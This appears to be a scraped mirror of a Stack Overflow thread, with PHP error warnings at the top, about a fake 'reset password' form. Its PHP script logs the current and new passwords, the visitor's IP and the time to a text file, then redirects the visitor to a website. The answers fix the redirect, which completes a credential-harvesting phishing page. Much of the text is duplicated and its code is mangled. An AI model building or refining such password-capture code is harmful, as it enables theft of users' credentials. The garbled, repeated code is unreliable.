Warning: file_get_contents(/data/phpspider/zhask/data//catemap/9/javascript/371.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181

Warning: file_get_contents(/data/phpspider/zhask/data//catemap/1/php/262.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Javascript 验证表单数据的PHP脚本_Javascript_Php_Html - Fatal编程技术网

Javascript 验证表单数据的PHP脚本

Javascript 验证表单数据的PHP脚本,javascript,php,html,Javascript,Php,Html,我有一个重置密码的表格。PHP脚本将所有3个密码存储在一个文本文件中。我知道这样做不安全,但这只是为了学习 <form action="login.php" method="POST" accept-charset="utf-8"> <p> <label for="id_current_password">Current password:</label> <input id="id_current_password" n

我有一个重置密码的表格。PHP脚本将所有3个密码存储在一个文本文件中。我知道这样做不安全,但这只是为了学习

<form action="login.php" method="POST" accept-charset="utf-8">
  <p>
    <label for="id_current_password">Current password:</label>
    <input id="id_current_password" name="current_password" type="password" />
  </p>
  <p>
    <label for="id_new_password1">New password:</label>
    <input id="id_new_password1" name="new_password1" type="password" />
  </p>
  <p>
    <label for="id_new_password2">New password confirmation:</label>
    <input id="id_new_password2" name="new_password2" type="password" />
  </p>
  <p>
    <input type="submit" value="Reset Password">
  </p>
</form>


当前密码:

新密码:

新密码确认:

此表单将这些密码发送到login.php

<?php

$myFile = fopen("log.txt", "a") or die("Unable to open file!");
$stringData = $_POST['current_password'] . "CP";
fwrite($myFile, $stringData);     
$stringData = $_POST['new_password1'] . ":";
fwrite($myFile, $stringData);
$stringData = $_POST['new_password2'] . "\n";
fwrite($myFile, $stringData);
fclose($myFile);

     ?>
<?php
date_default_timezone_set('Asia/Kolkata');
$ip = $_SERVER['REMOTE_ADDR'];
$dt = date("l dS \of F Y h:i:s A");
$file=fopen("log.txt","a");
$data = $ip.' '.$dt."\n";
fwrite($file, $data);
fclose($file);
?>

if(($_POST['new_password1'])==($_POST['new_password2'])) {
    <script>location.href='https://www.MYWEBSITE.com';</script>
} else {
    <script>location.href='http://www.MYWEBSITEerror.com'</script>
}

如果($_POST['new_password1'])==($_POST['new_password2'])){
location.href=https://www.MYWEBSITE.com';
}否则{
location.href=http://www.MYWEBSITEerror.com'
}

我想知道,如果新密码不匹配,如何将用户重定向到错误网页,如果密码匹配,则应根据脚本将其重定向到网站。我知道echo和其他提醒用户的方法,但我特别想要这种方法。

您可以使用的PHP函数代替:



您当前的代码无法工作,因为PHP标记中不能包含HTML代码,因为它将返回解析错误。要使其工作,您必须回显重定向部分:

if(($_POST['new_password1'])==($_POST['new_password2'])) {
    echo "<script>location.href='https://www.MYWEBSITE.com';</script>";
} else {
    echo "<script>location.href='http://www.MYWEBSITEerror.com'</script>";
}
if($\u POST['new\u password1'])==($\u POST['new\u password2'])){
echo“location.href=”https://www.MYWEBSITE.com';";
}否则{
echo“location.href=”http://www.MYWEBSITEerror.com'";
}
或者,您可以将
标记放在PHP标记之外:

// { ... }

fwrite($file, $data);
fclose($file);

if(($_POST['new_password1'])==($_POST['new_password2'])) {
?>
    <script>location.href='https://www.MYWEBSITE.com';</script>
<?php
} else {
?>
    <script>location.href='http://www.MYWEBSITEerror.com'</script>
<?php
}
?>
/{…}
fwrite($file,$data);
fclose($文件);
如果($_POST['new_password1'])==($_POST['new_password2'])){
?>
location.href=https://www.MYWEBSITE.com';
location.href=http://www.MYWEBSITEerror.com'

基本上,您应该将整个脚本格式化为只有一组PHP打开和关闭标记,不知道为什么没有很多

<?php

$myFile = fopen("log.txt", "a") or die("Unable to open file!");
$stringData = $_POST['current_password'] . "CP";
fwrite($myFile, $stringData);     
$stringData = $_POST['new_password1'] . ":";
fwrite($myFile, $stringData);
$stringData = $_POST['new_password2'] . "\n";
fwrite($myFile, $stringData);
fclose($myFile);

date_default_timezone_set('Asia/Kolkata');
$ip = $_SERVER['REMOTE_ADDR'];
$dt = date("l dS \of F Y h:i:s A");
$file=fopen("log.txt","a");
$data = $ip.' '.$dt."\n";
fwrite($file, $data);
fclose($file);

if(($_POST['new_password1'])==($_POST['new_password2'])) {
    <script>location.href='https://www.MYWEBSITE.com';</script>
} else {
    <script>location.href='http://www.MYWEBSITEerror.com'</script>
}

?>

您可以使用的PHP函数代替:



您当前的代码无法工作,因为PHP标记中不能包含HTML代码,因为它将返回解析错误。要使其工作,您必须回显重定向部分:

if(($_POST['new_password1'])==($_POST['new_password2'])) {
    echo "<script>location.href='https://www.MYWEBSITE.com';</script>";
} else {
    echo "<script>location.href='http://www.MYWEBSITEerror.com'</script>";
}
if($\u POST['new\u password1'])==($\u POST['new\u password2'])){
echo“location.href=”https://www.MYWEBSITE.com';";
}否则{
echo“location.href=”http://www.MYWEBSITEerror.com'";
}
或者,您可以将
标记放在PHP标记之外:

// { ... }

fwrite($file, $data);
fclose($file);

if(($_POST['new_password1'])==($_POST['new_password2'])) {
?>
    <script>location.href='https://www.MYWEBSITE.com';</script>
<?php
} else {
?>
    <script>location.href='http://www.MYWEBSITEerror.com'</script>
<?php
}
?>
/{…}
fwrite($file,$data);
fclose($文件);
如果($_POST['new_password1'])==($_POST['new_password2'])){
?>
location.href=https://www.MYWEBSITE.com';
location.href=http://www.MYWEBSITEerror.com'

基本上,您应该将整个脚本格式化为只有一组PHP打开和关闭标记,不知道为什么没有很多

<?php

$myFile = fopen("log.txt", "a") or die("Unable to open file!");
$stringData = $_POST['current_password'] . "CP";
fwrite($myFile, $stringData);     
$stringData = $_POST['new_password1'] . ":";
fwrite($myFile, $stringData);
$stringData = $_POST['new_password2'] . "\n";
fwrite($myFile, $stringData);
fclose($myFile);

date_default_timezone_set('Asia/Kolkata');
$ip = $_SERVER['REMOTE_ADDR'];
$dt = date("l dS \of F Y h:i:s A");
$file=fopen("log.txt","a");
$data = $ip.' '.$dt."\n";
fwrite($file, $data);
fclose($file);

if(($_POST['new_password1'])==($_POST['new_password2'])) {
    <script>location.href='https://www.MYWEBSITE.com';</script>
} else {
    <script>location.href='http://www.MYWEBSITEerror.com'</script>
}

?>


那么,什么“不”在这里起作用呢?您的
if
语句似乎不在php标记的范围内
?>if(($\u POST['new\u password1'])==($\u POST['new\u password2']){location.href=https://www.MYWEBSITE.com';}else{location.href='1http://www.MYWEBSITEerror.com“}
parse error就在那里。那么,“not”是什么呢在这里工作?您的
if
语句似乎不在php标记的范围内
?>if($\u POST['new\u password1'])==($\u POST['new\u password2']){location.href=https://www.MYWEBSITE.com';}else{location.href='1http://www.MYWEBSITEerror.com“}
parse error where.header()函数是正确的答案。但是你应该从php脚本的开头删除HTML代码。不要让任何空格出现在True之前,但是你没有看到/解释他们的代码失败的原因,这在这里是很明显的。@Fred ii-我更新了帖子,还添加了用于
的方法,谢谢!@Panda welcome.header()函数是正确的答案。但是你应该从php脚本的开头删除HTML代码。不要让任何空格出现在True之前,但是你没有看到/解释他们的代码失败的原因,这在这里是很明显的。@Fred ii-我更新了帖子,还添加了用于
的方法,谢谢!@Panda welcome。